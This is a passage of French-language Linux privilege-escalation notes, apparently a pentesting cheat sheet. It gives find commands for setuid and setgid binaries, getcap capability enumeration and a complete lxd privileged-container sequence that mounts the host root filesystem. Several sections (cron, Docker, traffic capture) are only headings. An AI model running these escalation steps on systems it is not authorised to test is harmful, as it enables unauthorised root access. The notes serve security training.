Information Gathering

Enumeration de l’environnement

L’énumération est la clé de l’escalade de privilèges. Plusieurs scripts d’assistance (tels que LinPEAS et LinEnum) existent pour aider à l’énumération.

  • Version de l’OS : Connaître la distribution (Ubuntu, Debian, FreeBSD, Fedora, SUSE, Red Hat, CentOS, etc.)
  • Version du noyau : Comme pour la version de l’OS, il peut exister des exploits publics qui ciblent une vulnérabilité dans une version spécifique du noyau.
  • Services en cours d’exécution : Il est important de savoir quels services sont en cours d’exécution sur l’hôte, en particulier ceux qui s’exécutent en tant que root.

Permissions Spéciales

La permission Set User ID upon Execution (setuid) peut permettre à un utilisateur d’exécuter un programme ou un script avec les permissions d’un autre utilisateur, généralement avec des privilèges élevés.

 find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

La permission Set-Group-ID (setgid) est une autre permission spéciale qui nous permet d’exécuter des binaires comme si nous faisions partie du groupe qui les a créés.

find / -uid 0 -perm -6000 -type f 2>/dev/null

find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits

GTFOBins

Le projet GTFOBins est une liste organisée de binaires et de scripts qui peuvent être utilisés par un attaquant pour contourner les restrictions de sécurité.

Capacities

Les capacités (capabilities) Linux sont une fonctionnalité de sécurité du système d’exploitation Linux qui permet d’accorder des privilèges spécifiques à des processus, les autorisant à effectuer des actions spécifiques qui seraient autrement restreintes.

Énumération des capacités

find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Cette commande mono-ligne utilise la commande find pour rechercher tous les exécutables binaires dans les répertoires où ils se trouvent généralement, puis utilise l’option -exec pour exécuter la commande getcap sur chacun d’eux, affichant les capacités qui ont été définies pour ce binaire. La sortie de cette commande affichera une liste de tous les exécutables binaires sur le système, ainsi que les capacités qui ont été définies pour chacun.

Exploitation

Si nous avons obtenu l’accès au système avec un compte à faibles privilèges, puis découvert la capacité cap_dac_override :

getcap /usr/bin/vim.basic

Abuse des taches Cron

lxd


lxc image list
lxc init ubuntutemp privesc -c security.privileged=true

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/bash
ls -l /mnt/root

Docker

Docker est un outil open-source populaire qui fournit un environnement d’exécution portable et cohérent pour les applications logicielles.

Capture passive de trafic